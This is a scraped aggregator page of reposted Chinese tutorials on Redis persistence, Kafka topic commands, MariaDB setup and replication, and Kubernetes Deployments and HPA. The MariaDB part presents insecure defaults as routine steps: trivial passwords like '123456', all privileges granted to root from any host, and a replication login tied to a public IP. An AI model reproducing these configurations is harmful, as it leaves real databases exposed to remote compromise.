300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的,只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径,dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题:为什么停止 Redis 服务的时候没有 save,重启数据还在? RDB 还有两种触发方式: b)shutdown 触发,保证服务器正常关闭。 c)flushall,RDB 文件是空的,没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据,这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器, Redis 不能处理其他命令。如果内存中的数据比较多,会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题,Redis 提供了第二种方式。 执行 bgsave 时,Redis 会在后台异步进行快照操作,快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write),RDB 持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段,一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器,触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件,它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候,redis 主进程会 fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程,频繁执行成本过高。 2、在一定间隔时间做一次备份,所以如果 redis 意外 down 掉的话,就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要,希望将损失降到最小,则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作,并追加到文件中。开启后,执行更改 Redis 数据的命令时,就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题:数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制,AOF 数据并没有真正地写入硬盘,而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大,怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中,随着 Redis 不断的进行,AOF 的文件会越来越大,文件越大,占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666,执行 1000 次,结果都是 xxx=666。 为了解决这个问题,Redis 新增了重写机制,当 AOF 文件的大小超过所设定的阈值时,Redis 就会启动 AOF 文件的内容压缩,只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中,AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率,即使使用默认的同步频率每秒同步一次,Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis,AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率,默认情况下,每秒同步一次的频率也具有较高的性能。在高并发的情况下,RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式,我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失,毫无疑问使用 RDB 是最好的,定时生成 RDB 快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制,而是应该两种一起用,在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据,因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-18 12:25:04
541
转载
Kafka
...zookeeper-server-start.sh config/zookeeper.properties 接着,启动Kafka服务器: bash bin/kafka-server-start.sh config/server.properties 2. 创建Topic 创建Topic是使用Kafka的第一步,这可以通过命令行工具轻松完成。例如,我们创建一个名为my-topic且具有两个分区和一个副本因子的Topic: bash bin/kafka-topics.sh --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 2 --topic my-topic 上述命令会告诉Kafka在本地服务器上创建一个名为my-topic的主题,并指定其拥有两个分区和一个副本。 3. 查看Topic列表 创建了Topic之后,我们可能想要查看当前Kafka集群中存在的所有Topic。执行如下命令: bash bin/kafka-topics.sh --list --bootstrap-server localhost:9092 屏幕上将会列出所有已存在的Topic名称,其中包括我们刚才创建的my-topic。 4. 查看Topic详情 进一步地,我们可以获取某个Topic的详细信息,包括分区数量、副本分布等。比如查询my-topic的详细信息: bash bin/kafka-topics.sh --describe --bootstrap-server localhost:9092 --topic my-topic 此命令返回的结果将包含每个分区的详细信息,如分区编号、领导者(Leader)、副本集及其状态等。 5. 修改Topic配置 有时我们需要调整Topic的分区数或者副本因子,这时可以使用kafka-topics.sh的--alter选项: bash bin/kafka-topics.sh --alter --bootstrap-server localhost:9092 --topic my-topic --partitions 3 这个命令将会把my-topic的分区数量从原来的2个增加到3个。 6. 删除Topic 若某个Topic不再使用,可通过以下命令将其删除: bash bin/kafka-topics.sh --delete --bootstrap-server localhost:9092 --topic my-topic 但请注意,删除Topic是一个不可逆的操作,一旦删除,该Topic下的所有消息也将一并消失。 总结一下,Kafka提供的命令行工具极大地简化了我们在日常运维中的管理工作。无论是创建、查看、修改还是删除话题,你只需轻松输入几条命令,就像跟朋友聊天一样简单,就能搞定一切!在这个过程中,咱们不仅能实实在在地感受到Kafka那股灵活又顺手的劲儿,更能深深体验到身为开发者或是运维人员,那种对系统玩转于掌心、一切尽在掌握中的爽快与乐趣。当然啦,遇到更复杂的场合,咱们还能使上编程API这个神器,对场景进行更加精细巧妙的管理和操控。这可是我们在未来学习和实践中一个大有可为、值得好好琢磨探索的领域!
2023-11-26 15:04:54
457
青山绿水
转载文章
...,源码安装的软件./configure --preifx=软件安装的绝对路径 2.yum仓库的软件,版本可能比较低,而源码编译安装,版本可控 3.编译安装的软件,支持第三方功能扩展./configure 这里可以加上很多参数,定制功能 1.安装mariadb,配置官方的mariadb的yum源,手动创建 mariadb.repo仓库文件 添加MariaDB源 vi /etc/yum.repos.d/MariaDB.repo 粘贴官方的或者阿里云的镜像: [mariadb]name = MariaDBbaseurl = http://yum.mariadb.org/10.3/centos7-amd64gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDBgpgcheck=1[mariadb]name = MariaDBbaseurl = https://mirrors.aliyun.com/mariadb/yum/10.4/centos7-amd64/gpgkey=https://mirrors.aliyun.com/mariadb/yum/RPM-GPG-KEY-MariaDBgpgcheck=1 2.如果下载速度太慢,请删除 mariadb.repo,只是为了使用阿里云的yum源中的mariadb rm -rf /etc/yum.repos.d/Mariadb.repo然后清空yum 缓存yum clean all 3.通过yum安装mariadb软件,安装mariadb服务端和客户端 官方 yum install MariaDB-server MariaDB-client -y阿里云 yum install mariadb mariadb-server -y 4.安装完成后,启动mariadb服务端 systemctl start/stop/restart/status mariadbsystemctl enable mariadb 开机启动mariadb 5. mariadb初始化 这条命令可以初始化mysql,删除匿名用户,设置root密码等等....mysql_secure_installation1.输入当前密码,初次安装后是没有密码的,直接回车2.询问是否使用 'unix_socket' 进行身份验证: n3.为 root 设置密码:y4.输入 root 的新密码: root5.确认输入 root 的新密码: root6.是否移除匿名用户,这个随意,建议删除: y7.拒绝用户远程登录,这个建议开启:n8.删除 test 库,可以保留:n9.重新加载权限表:y 6. 设置mysql的中文编码支持,修改/etc/my.cnf 1.vi /etc/my.cnf在[mysqld]中添加参数,使得mariadb服务端支持中文[mysqld]character-set-server=utf8collation-server=utf8_general_ci2.重启mariadb服务,读取my.cnf新配置systemctl restart mariadb 3.登录数据库,查看字符编码mysql -uroot -p输入 \s 查看编码 7. mysql常用命 desc 查看表结构create database 数据库名create table 表名查看如何创建db的show create database 库名 查看如何创建table结构的show create table 表名; 修改mysql的密码set password = PASSWORD('redhat'); 创建mysql的普通用户,默认权限非常低create user zhang@'%' identified by '123456'; 查询mysql数据库中的用户信息use mysql;select host,user,password from user; 7. 给用户添加权限命令 对所有库和所有表授权所有权限grant all privileges on . to 账户@主机名 给zhang用户授予所有权限grant all privileges on . to zhang@'%'; 刷新授权表flush privileges; 8. 给用户添加权限命令 给zhangsan用户授予所有权限grant all privileges on . to zhangsan@'%'; 给与root权限授予远程登录的命令 'centos这是密码随意设置grant all privileges on . to root@'%' identified by '123456'; 此时可以在windows登录linux的数据库 连接服务器的mysqlmysql -uyining -p -h 服务器的地址 9. 数据备份与恢复 导出当前数据库的所有db,到一个文件中1.mysqldump -u root -p --all-databases > /data/AllMysql.dump2.登录mysql 导入数据mysql -u root -p> source /data/AllMysql.dump3.通过命令导入数据 在登录时候,导入数据文件,一样可以写入数据mysql -uroot -p < /data/AllMysql.dump 10. 修改Mariadb存储路径 10.1 首先确定MariaDB数据库能正常运行,确定正常后关闭服务 systemctl stop mariadb 10.2 建立要更改数据存放的目录,如:我这单独分了一个区/data存放MariaDB的数据 mkdir /data/mysql_data chown -R mysql:mysql /data/mysql_data 10.3 复制默认数据存放文件夹到/data/mysql_data cp -a /var/lib/mysql /data/mysql_data 10.4 修改/etc/my.cnf.d/server.cnf vim /etc/my.cnf.d/server.cnf 在[mysqld]标签下添加如下内容 datadir=/data/mysql_data/mysqlsocket=/var/lib/mysql/mysql.sockdefault-character-set=utf8character_set_server=utf8slow_query_log=onslow_query_log_file=/data/mysql_data/slow_query_log.loglong_query_time=2 10.5 配置MariaDB慢查询 touch /data/mysql_data/slow_query_log.logchown mysql:mysql /data/mysql_data/slow_query_log.log 10.6 重启数据库 systemctl start mariadb 10.7 注意: 1、配置文件my.cnf存在,但是修改的并不是my.cnf,而是/etc/my.cnf.d/server.cnf; 2、并没有更改mysql.sock的路径配置; 3、没有修改/etc/init.d/mysql中的内容; 4、没有修改mysql_safe中的内容; 5、增加了数据库的慢查询配置。 11. Mariadb主从复制 11.1 主从库初始化 这条命令可以初始化mysql,删除匿名用户,设置root密码等等....mysql_secure_installation1.输入当前密码,初次安装后是没有密码的,直接回车2.询问是否使用 'unix_socket' 进行身份验证: n3.为 root 设置密码:y4.输入 root 的新密码: root5.确认输入 root 的新密码: root6.是否移除匿名用户,这个随意,建议删除: y7.拒绝用户远程登录,这个建议开启:n8.删除 test 库,可以保留:n9.重新加载权限表:y 11.2 修改主库配置 [root@mster mysql] grep -Ev "^$|^" /etc/my.cnf.d/server.cnf[server][mysqld]character-set-server=utf8collation-server=utf8_general_ciserver_id = 13 一组主从组里的每个id必须是唯一值。推荐用ip位数log-bin= mysql-bin 二进制日志,后面指定存放位置。如果只是指定名字,默认存放在/var/lib/mysql下lower_case_table_names=1 不区分大小写binlog-format=ROW 二进制日志文件格式log-slave-updates=True slave更新是否记入日志sync-master-info=1 值为1确保信息不会丢失slave-parallel-threads=3 同时启动多少个复制线程,最多与要复制的数据库数量相等即可binlog-checksum=CRC32 效验码master-verify-checksum=1 启动主服务器效验slave-sql-verify-checksum=1 启动从服务器效验[galera][embedded][mariadb][mariadb-10.6][root@mster-k8s mysql] 11.2 修改从库配置 [mysqld]character-set-server=utf8collation-server=utf8_general_ciserver_id=14log-bin= mysql-bin log-bin是二进制文件relay_log = relay-bin 中继日志, 后面指定存放位置。如果只是指定名字,默认存放在/var/lib/mysql下lower_case_table_names=1 11.3 重启主库和从库服务 systemctl restart mariad 11.4 master节点配置 MariaDB [huawei]> grant replication slave, replication client on . to 'liu'@'%' identified by '123456';Query OK, 0 rows affected (0.001 sec)MariaDB [huawei]> show master status;+------------------+----------+--------------+------------------+| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |+------------------+----------+--------------+------------------+| mysql-bin.000001 | 4990 | | |+------------------+----------+--------------+------------------+1 row in set (0.000 sec)MariaDB [huawei]> select binlog_gtid_pos('mysql-bin.000001', 4990 );+-------------------------------------------+| binlog_gtid_pos('mysql-bin.000001', 4990) |+-------------------------------------------+| 0-13-80 |+-------------------------------------------+1 row in set (0.000 sec)MariaDB [huawei]> flush privileges; 11.5 slave节点配置 MariaDB [(none)]> set global gtid_slave_pos='0-13-80';Query OK, 0 rows affected (0.004 sec)MariaDB [(none)]> change master to master_host='101.34.141.216',master_user='liu',master_password='123456',master_use_gtid=slave_pos;Query OK, 0 rows affected (0.008 sec)MariaDB [(none)]> start slave;Query OK, 0 rows affected (0.005 sec)MariaDB [(none)]> 11.6 验证salve状态 MariaDB [(none)]> show slave status\G 1. row Slave_IO_State: Waiting for master to send eventMaster_Host: 101.34.141.216Master_User: liuMaster_Port: 3306Connect_Retry: 60Master_Log_File: mysql-bin.000001Read_Master_Log_Pos: 13260Relay_Log_File: relay-bin.000002Relay_Log_Pos: 10246Relay_Master_Log_File: mysql-bin.000001Slave_IO_Running: YesSlave_SQL_Running: YesReplicate_Do_DB: Replicate_Ignore_DB: Replicate_Do_Table: Replicate_Ignore_Table: Replicate_Wild_Do_Table: Replicate_Wild_Ignore_Table: Last_Errno: 0Last_Error: Skip_Counter: 0Exec_Master_Log_Pos: 13260Relay_Log_Space: 10549Until_Condition: NoneUntil_Log_File: Until_Log_Pos: 0Master_SSL_Allowed: NoMaster_SSL_CA_File: 本篇文章为转载内容。原文链接:https://blog.csdn.net/l363130002/article/details/126121255。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-12 10:11:01
310
转载
转载文章
...false 暂停部署,默认是falseprogressDeadlineSeconds: 600 部署超时时间(s),默认是600strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxSurge: 30% 最大额外可以存在的副本数,可以为百分比,也可以为整数maxUnavailable: 30% 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建和删除Deployment 创建pc-deployment.yaml,内容如下: apiVersion: apps/v1kind: Deployment metadata:name: pc-deploymentnamespace: devspec: replicas: 3selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 创建和查看 创建deployment,--record=true 表示记录整个deployment更新过程[root@k8s-master01 ~] kubectl create -f pc-deployment.yaml --record=truedeployment.apps/pc-deployment created 查看deployment READY 可用的/总数 UP-TO-DATE 最新版本的pod的数量 AVAILABLE 当前可用的pod的数量[root@k8s-master01 ~] kubectl get deploy pc-deployment -n devNAME READY UP-TO-DATE AVAILABLE AGEpc-deployment 3/3 3 3 15s 查看rs 发现rs的名称是在原来deployment的名字后面添加了一个10位数的随机串[root@k8s-master01 ~] kubectl get rs -n devNAME DESIRED CURRENT READY AGEpc-deployment-6696798b78 3 3 3 23s 查看pod[root@k8s-master01 ~] kubectl get pods -n devNAME READY STATUS RESTARTS AGEpc-deployment-6696798b78-d2c8n 1/1 Running 0 107spc-deployment-6696798b78-smpvp 1/1 Running 0 107spc-deployment-6696798b78-wvjd8 1/1 Running 0 107s 删除deployment 删除deployment,其下的rs和pod也将被删除kubectl delete -f pc-deployment.yaml 2、扩缩容 deployment的扩缩容和 ReplicaSet 的扩缩容一样,只需要将rs或者replicaSet改为deployment即可,具体请参考上面的 ReplicaSet 扩缩容 3、镜像更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 镜像更新策略有2种 滚动更新(RollingUpdate):(默认值),杀死一部分,就启动一部分,在更新过程中,存在两个版本Pod 重建更新(Recreate):在创建出新的Pod之前会先杀掉所有已存在的Pod strategy:指定新的Pod替换旧的Pod的策略, 支持两个属性:type:指定策略类型,支持两种策略Recreate:在创建出新的Pod之前会先杀掉所有已存在的PodRollingUpdate:滚动更新,就是杀死一部分,就启动一部分,在更新过程中,存在两个版本PodrollingUpdate:当type为RollingUpdate时生效,用于为RollingUpdate设置参数,支持两个属性:maxUnavailable:用来指定在升级过程中不可用Pod的最大数量,默认为25%。maxSurge: 用来指定在升级过程中可以超过期望的Pod的最大数量,默认为25%。 重建更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: Recreate 重建更新 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.2 -n devdeployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-5d89bdfbf9-65qcw 1/1 Running 0 31spc-deployment-5d89bdfbf9-w5nzv 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Running 0 31spc-deployment-5d89bdfbf9-xpt7w 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-65qcw 1/1 Terminating 0 41spc-deployment-5d89bdfbf9-w5nzv 1/1 Terminating 0 41spc-deployment-675d469f8b-grn8z 0/1 Pending 0 0spc-deployment-675d469f8b-hbl4v 0/1 Pending 0 0spc-deployment-675d469f8b-67nz2 0/1 Pending 0 0spc-deployment-675d469f8b-grn8z 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-hbl4v 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-67nz2 0/1 ContainerCreating 0 0spc-deployment-675d469f8b-grn8z 1/1 Running 0 1spc-deployment-675d469f8b-67nz2 1/1 Running 0 1spc-deployment-675d469f8b-hbl4v 1/1 Running 0 2s 滚动更新 编辑pc-deployment.yaml,在spec节点下添加更新策略 spec:strategy: 策略type: RollingUpdate 滚动更新策略rollingUpdate:maxSurge: 25% maxUnavailable: 25% 创建deploy进行验证 变更镜像[root@k8s-master01 ~] kubectl set image deployment pc-deployment nginx=nginx:1.17.3 -n dev deployment.apps/pc-deployment image updated 观察升级过程[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-deployment-c848d767-8rbzt 1/1 Running 0 31mpc-deployment-c848d767-h4p68 1/1 Running 0 31mpc-deployment-c848d767-hlmz4 1/1 Running 0 31mpc-deployment-c848d767-rrqcn 1/1 Running 0 31mpc-deployment-966bf7f44-226rx 0/1 Pending 0 0spc-deployment-966bf7f44-226rx 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-226rx 1/1 Running 0 1spc-deployment-c848d767-h4p68 0/1 Terminating 0 34mpc-deployment-966bf7f44-cnd44 0/1 Pending 0 0spc-deployment-966bf7f44-cnd44 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-cnd44 1/1 Running 0 2spc-deployment-c848d767-hlmz4 0/1 Terminating 0 34mpc-deployment-966bf7f44-px48p 0/1 Pending 0 0spc-deployment-966bf7f44-px48p 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-px48p 1/1 Running 0 0spc-deployment-c848d767-8rbzt 0/1 Terminating 0 34mpc-deployment-966bf7f44-dkmqp 0/1 Pending 0 0spc-deployment-966bf7f44-dkmqp 0/1 ContainerCreating 0 0spc-deployment-966bf7f44-dkmqp 1/1 Running 0 2spc-deployment-c848d767-rrqcn 0/1 Terminating 0 34m 至此,新版本的pod创建完毕,就版本的pod销毁完毕 中间过程是滚动进行的,也就是边销毁边创建 4、版本回退 更新 刚刚在创建时加上了--record=true参数,所以在一旦进行了镜像更新,就会新建出一个pod出来,将老的old-pod上的容器全删除,然后在新的new-pod上在新建对应数量的容器,此时old-pod是不会删除的,因为这个old-pod是要进行回退的; 回退 在回退时会将new-pod上的容器全部删除,在将old-pod上恢复原来的容器; 回退命令 kubectl rollout: 版本升级相关功能,支持下面的选项: status 显示当前升级状态 history 显示 升级历史记录 pause 暂停版本升级过程 resume 继续已经暂停的版本升级过程 restart 重启版本升级过程 undo 回滚到上一级版本(可以使用–to-revision回滚到指定版本) 用法 查看当前升级版本的状态kubectl rollout status deploy pc-deployment -n dev 查看升级历史记录kubectl rollout history deploy pc-deployment -n dev 版本回滚 这里直接使用--to-revision=1回滚到了1版本, 如果省略这个选项,就是回退到上个版本kubectl rollout undo deployment pc-deployment --to-revision=1 -n dev 金丝雀发布 Deployment控制器支持控制更新过程中的控制,如“暂停(pause)”或“继续(resume)”更新操作。 比如有一批新的Pod资源创建完成后立即暂停更新过程,此时,仅存在一部分新版本的应用,主体部分还是旧的版本。然后,再筛选一小部分的用户请求路由到新版本的Pod应用,继续观察能否稳定地按期望的方式运行。确定没问题之后再继续完成余下的Pod资源滚动更新,否则立即回滚更新操作。这就是所谓的金丝雀发布。 金丝雀发布不是自动完成的,需要人为手动去操作,才能达到金丝雀发布的标准; 更新deployment的版本,并配置暂停deploymentkubectl set image deploy pc-deployment nginx=nginx:1.17.4 -n dev && kubectl rollout pause deployment pc-deployment -n dev 观察更新状态kubectl rollout status deploy pc-deployment -n dev 监控更新的过程kubectl get rs -n dev -o wide 确保更新的pod没问题了,继续更新kubectl rollout resume deploy pc-deployment -n dev 如果有问题,就回退到上个版本回退到上个版本kubectl rollout undo deployment pc-deployment -n dev Horizontal Pod Autoscaler 简称HPA,使用deployment可以手动调整pod的数量来实现扩容和缩容;但是这显然不符合k8s的自动化的定位,k8s期望可以通过检测pod的使用情况,实现pod数量自动调整,于是就有了HPA控制器; HPA可以获取每个Pod利用率,然后和HPA中定义的指标进行对比,同时计算出需要伸缩的具体值,最后实现Pod的数量的调整。比如说我指定了一个规则:当我的cpu利用率达到90%或者内存使用率到达80%的时候,就需要进行调整pod的副本数量,每次添加n个pod副本; 其实HPA与之前的Deployment一样,也属于一种Kubernetes资源对象,它通过追踪分析ReplicaSet控制器的所有目标Pod的负载变化情况,来确定是否需要针对性地调整目标Pod的副本数,也就是HPA管理Deployment,Deployment管理ReplicaSet,ReplicaSet管理pod,这是HPA的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件,内容如下: apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源(上限)cpu: "1" CPU限制,单位是core数requests: 请求资源(下限)cpu: "100m" CPU限制,单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件,内容如下: apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ,pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标,如果cpu使用率达到3%就会进行扩容;为了测试方便,将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测,然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 